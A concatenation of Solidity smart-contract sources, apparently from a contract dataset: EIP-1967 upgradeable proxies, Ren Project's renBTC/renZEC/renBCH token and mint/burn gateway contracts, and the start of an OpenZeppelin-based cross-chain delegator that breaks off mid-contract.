* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32
internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), 'Cannot change the admin of a proxy to the zero address');
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(msg.sender != _admin(), 'Cannot call fallback function from the proxy admin');
super._willFallback();
}
}
// File: contracts/libs/InitializableUpgradeabilityProxy.sol
pragma solidity 0.6.12;
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
// File: contracts/libs/InitializableAdminUpgradeabilityProxy.sol
pragma solidity 0.6.12;
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is
BaseAdminUpgradeabilityProxy,
InitializableUpgradeabilityProxy
{
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(
address _logic,
address _admin,
bytes memory _data
) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) {
BaseAdminUpgradeabilityProxy._willFallback();
}
}
|
DC1
|
/**
Deployed by Ren Project, https://renproject.io
Commit hash: 4021b7f
Repository: https://github.com/renproject/darknode-sol
Issues: https://github.com/renproject/darknode-sol/issues
Licenses
@openzeppelin/contracts: (MIT) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/LICENSE
darknode-sol: (GNU GPL V3) https://github.com/renproject/darknode-sol/blob/master/LICENSE
*/
pragma solidity 0.5.16;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
revert("ECDSA: signature length is invalid");
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: signature.s is in the wrong range");
}
if (v != 27 && v != 28) {
revert("ECDSA: signature.v is in the wrong range");
}
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
contract Proxy {
function () payable external {
_fallback();
}
function _implementation() internal view returns (address);
function _delegate(address implementation) internal {
assembly {
calldatacopy(0, 0, calldatasize)
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
switch result
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
function _willFallback() internal {
}
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
library OpenZeppelinUpgradesAddress {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract BaseUpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
event AdminChanged(address previousAdmin, address newAdmin);
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address) {
return _admin();
}
function implementation() external ifAdmin returns (address) {
return _implementation();
}
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
contract Context is Initializable {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
contract Claimable is Initializable, Ownable {
address public pendingOwner;
function initialize(address _nextOwner) public initializer {
Ownable.initialize(_nextOwner);
}
modifier onlyPendingOwner() {
require(
_msgSender() == pendingOwner,
"Claimable: caller is not the pending owner"
);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != owner() && newOwner != pendingOwner,
"Claimable: invalid new owner"
);
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
_transferOwnership(pendingOwner);
delete pendingOwner;
}
}
library String {
function fromUint(uint256 _i) internal pure returns (string memory) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
function fromBytes32(bytes32 _value) internal pure returns (string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(32 * 2 + 2);
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < 32; i++) {
str[2 + i * 2] = alphabet[uint256(uint8(_value[i] >> 4))];
str[3 + i * 2] = alphabet[uint256(uint8(_value[i] & 0x0f))];
}
return string(str);
}
function fromAddress(address _addr) internal pure returns (string memory) {
bytes32 value = bytes32(uint256(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(20 * 2 + 2);
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < 20; i++) {
str[2 + i * 2] = alphabet[uint256(uint8(value[i + 12] >> 4))];
str[3 + i * 2] = alphabet[uint256(uint8(value[i + 12] & 0x0f))];
}
return string(str);
}
function add8(
string memory a,
string memory b,
string memory c,
string memory d,
string memory e,
string memory f,
string memory g,
string memory h
) internal pure returns (string memory) {
return string(abi.encodePacked(a, b, c, d, e, f, g, h));
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract CanReclaimTokens is Claimable {
using SafeERC20 for ERC20;
mapping(address => bool) private recoverableTokensBlacklist;
function initialize(address _nextOwner) public initializer {
Claimable.initialize(_nextOwner);
}
function blacklistRecoverableToken(address _token) public onlyOwner {
recoverableTokensBlacklist[_token] = true;
}
function recoverTokens(address _token) external onlyOwner {
require(
!recoverableTokensBlacklist[_token],
"CanReclaimTokens: token is not recoverable"
);
if (_token == address(0x0)) {
msg.sender.transfer(address(this).balance);
} else {
ERC20(_token).safeTransfer(
msg.sender,
ERC20(_token).balanceOf(address(this))
);
}
}
}
contract ERC20WithRate is Initializable, Ownable, ERC20 {
using SafeMath for uint256;
uint256 public constant _rateScale = 1e18;
uint256 internal _rate;
event LogRateChanged(uint256 indexed _rate);
function initialize(address _nextOwner, uint256 _initialRate)
public
initializer
{
Ownable.initialize(_nextOwner);
_setRate(_initialRate);
}
function setExchangeRate(uint256 _nextRate) public onlyOwner {
_setRate(_nextRate);
}
function exchangeRateCurrent() public view returns (uint256) {
require(_rate != 0, "ERC20WithRate: rate has not been initialized");
return _rate;
}
function _setRate(uint256 _nextRate) internal {
require(_nextRate > 0, "ERC20WithRate: rate must be greater than zero");
_rate = _nextRate;
}
function balanceOfUnderlying(address _account)
public
view
returns (uint256)
{
return toUnderlying(balanceOf(_account));
}
function toUnderlying(uint256 _amount) public view returns (uint256) {
return _amount.mul(_rate).div(_rateScale);
}
function fromUnderlying(uint256 _amountUnderlying)
public
view
returns (uint256)
{
return _amountUnderlying.mul(_rateScale).div(_rate);
}
}
contract ERC20WithPermit is Initializable, ERC20, ERC20Detailed {
using SafeMath for uint256;
mapping(address => uint256) public nonces;
string public version;
bytes32 public DOMAIN_SEPARATOR;
bytes32 public constant PERMIT_TYPEHASH = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb;
function initialize(
uint256 _chainId,
string memory _version,
string memory _name,
string memory _symbol,
uint8 _decimals
) public initializer {
ERC20Detailed.initialize(_name, _symbol, _decimals);
version = _version;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(name())),
keccak256(bytes(version)),
_chainId,
address(this)
)
);
}
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
holder,
spender,
nonce,
expiry,
allowed
)
)
)
);
require(holder != address(0), "ERC20WithRate: address must not be 0x0");
require(
holder == ecrecover(digest, v, r, s),
"ERC20WithRate: invalid signature"
);
require(
expiry == 0 || now <= expiry,
"ERC20WithRate: permit has expired"
);
require(nonce == nonces[holder]++, "ERC20WithRate: invalid nonce");
uint256 amount = allowed ? uint256(-1) : 0;
_approve(holder, spender, amount);
}
}
contract RenERC20LogicV1 is
Initializable,
ERC20,
ERC20Detailed,
ERC20WithRate,
ERC20WithPermit,
Claimable,
CanReclaimTokens
{
function initialize(
uint256 _chainId,
address _nextOwner,
uint256 _initialRate,
string memory _version,
string memory _name,
string memory _symbol,
uint8 _decimals
) public initializer {
ERC20Detailed.initialize(_name, _symbol, _decimals);
ERC20WithRate.initialize(_nextOwner, _initialRate);
ERC20WithPermit.initialize(
_chainId,
_version,
_name,
_symbol,
_decimals
);
Claimable.initialize(_nextOwner);
CanReclaimTokens.initialize(_nextOwner);
}
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
function burn(address _from, uint256 _amount) public onlyOwner {
_burn(_from, _amount);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
require(
recipient != address(this),
"RenERC20: can't transfer to token address"
);
return super.transfer(recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount)
public
returns (bool)
{
require(
recipient != address(this),
"RenERC20: can't transfer to token address"
);
return super.transferFrom(sender, recipient, amount);
}
}
contract RenBTC is InitializableAdminUpgradeabilityProxy {}
contract RenZEC is InitializableAdminUpgradeabilityProxy {}
contract RenBCH is InitializableAdminUpgradeabilityProxy {}
interface IMintGateway {
function mint(
bytes32 _pHash,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external returns (uint256);
function mintFee() external view returns (uint256);
}
interface IBurnGateway {
function burn(bytes calldata _to, uint256 _amountScaled)
external
returns (uint256);
function burnFee() external view returns (uint256);
}
interface IGateway {
function mint(
bytes32 _pHash,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external returns (uint256);
function mintFee() external view returns (uint256);
function burn(bytes calldata _to, uint256 _amountScaled)
external
returns (uint256);
function burnFee() external view returns (uint256);
}
contract GatewayStateV1 {
uint256 constant BIPS_DENOMINATOR = 10000;
uint256 public minimumBurnAmount;
RenERC20LogicV1 public token;
address public mintAuthority;
address public feeRecipient;
uint16 public mintFee;
uint16 public burnFee;
mapping(bytes32 => bool) public status;
uint256 public nextN = 0;
}
contract GatewayLogicV1 is
Initializable,
Claimable,
CanReclaimTokens,
IGateway,
GatewayStateV1
{
using SafeMath for uint256;
event LogMintAuthorityUpdated(address indexed _newMintAuthority);
event LogMint(
address indexed _to,
uint256 _amount,
uint256 indexed _n,
bytes32 indexed _signedMessageHash
);
event LogBurn(
bytes _to,
uint256 _amount,
uint256 indexed _n,
bytes indexed _indexedTo
);
modifier onlyOwnerOrMintAuthority() {
require(
msg.sender == mintAuthority || msg.sender == owner(),
"Gateway: caller is not the owner or mint authority"
);
_;
}
function initialize(
RenERC20LogicV1 _token,
address _feeRecipient,
address _mintAuthority,
uint16 _mintFee,
uint16 _burnFee,
uint256 _minimumBurnAmount
) public initializer {
Claimable.initialize(msg.sender);
CanReclaimTokens.initialize(msg.sender);
minimumBurnAmount = _minimumBurnAmount;
token = _token;
mintFee = _mintFee;
burnFee = _burnFee;
updateMintAuthority(_mintAuthority);
updateFeeRecipient(_feeRecipient);
}
function claimTokenOwnership() public {
token.claimOwnership();
}
function transferTokenOwnership(GatewayLogicV1 _nextTokenOwner)
public
onlyOwner
{
token.transferOwnership(address(_nextTokenOwner));
_nextTokenOwner.claimTokenOwnership();
}
function updateMintAuthority(address _nextMintAuthority)
public
onlyOwnerOrMintAuthority
{
require(
_nextMintAuthority != address(0),
"Gateway: mintAuthority cannot be set to address zero"
);
mintAuthority = _nextMintAuthority;
emit LogMintAuthorityUpdated(mintAuthority);
}
function updateMinimumBurnAmount(uint256 _minimumBurnAmount)
public
onlyOwner
{
minimumBurnAmount = _minimumBurnAmount;
}
function updateFeeRecipient(address _nextFeeRecipient) public onlyOwner {
require(
_nextFeeRecipient != address(0x0),
"Gateway: fee recipient cannot be 0x0"
);
feeRecipient = _nextFeeRecipient;
}
function updateMintFee(uint16 _nextMintFee) public onlyOwner {
mintFee = _nextMintFee;
}
function updateBurnFee(uint16 _nextBurnFee) public onlyOwner {
burnFee = _nextBurnFee;
}
function mint(
bytes32 _pHash,
uint256 _amountUnderlying,
bytes32 _nHash,
bytes memory _sig
) public returns (uint256) {
bytes32 signedMessageHash = hashForSignature(
_pHash,
_amountUnderlying,
msg.sender,
_nHash
);
require(
status[signedMessageHash] == false,
"Gateway: nonce hash already spent"
);
if (!verifySignature(signedMessageHash, _sig)) {
revert(
String.add8(
"Gateway: invalid signature. pHash: ",
String.fromBytes32(_pHash),
", amount: ",
String.fromUint(_amountUnderlying),
", msg.sender: ",
String.fromAddress(msg.sender),
", _nHash: ",
String.fromBytes32(_nHash)
)
);
}
status[signedMessageHash] = true;
uint256 amountScaled = token.fromUnderlying(_amountUnderlying);
uint256 absoluteFeeScaled = amountScaled.mul(mintFee).div(
BIPS_DENOMINATOR
);
uint256 receivedAmountScaled = amountScaled.sub(
absoluteFeeScaled,
"Gateway: fee exceeds amount"
);
token.mint(msg.sender, receivedAmountScaled);
token.mint(feeRecipient, absoluteFeeScaled);
uint256 receivedAmountUnderlying = token.toUnderlying(
receivedAmountScaled
);
emit LogMint(
msg.sender,
receivedAmountUnderlying,
nextN,
signedMessageHash
);
nextN += 1;
return receivedAmountScaled;
}
function burn(bytes memory _to, uint256 _amount) public returns (uint256) {
require(_to.length != 0, "Gateway: to address is empty");
uint256 fee = _amount.mul(burnFee).div(BIPS_DENOMINATOR);
uint256 amountAfterFee = _amount.sub(
fee,
"Gateway: fee exceeds amount"
);
uint256 amountAfterFeeUnderlying = token.toUnderlying(amountAfterFee);
token.burn(msg.sender, _amount);
token.mint(feeRecipient, fee);
require(
amountAfterFeeUnderlying > minimumBurnAmount,
"Gateway: amount is less than the minimum burn amount"
);
emit LogBurn(_to, amountAfterFeeUnderlying, nextN, _to);
nextN += 1;
return amountAfterFeeUnderlying;
}
function verifySignature(bytes32 _signedMessageHash, bytes memory _sig)
public
view
returns (bool)
{
return mintAuthority == ECDSA.recover(_signedMessageHash, _sig);
}
function hashForSignature(
bytes32 _pHash,
uint256 _amount,
address _to,
bytes32 _nHash
) public view returns (bytes32) {
return
keccak256(abi.encode(_pHash, _amount, address(token), _to, _nHash));
}
}
contract BTCGateway is InitializableAdminUpgradeabilityProxy {}
contract ZECGateway is InitializableAdminUpgradeabilityProxy {}
contract BCHGateway is InitializableAdminUpgradeabilityProxy {}
|
DC1
|
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/CrossChainAdminStorage.sol
pragma solidity ^0.6.12;
contract CrossChainAdminStorage is Ownable{
address public admin;
address public implementation;
}
// File: contracts/CrossChainDelegator.sol
pragma solidity ^0.6.12;
contract CrossChainDelegator is CrossChainAdminStorage {
event NewImplementation(
address oldImplementation,
address newImplementation
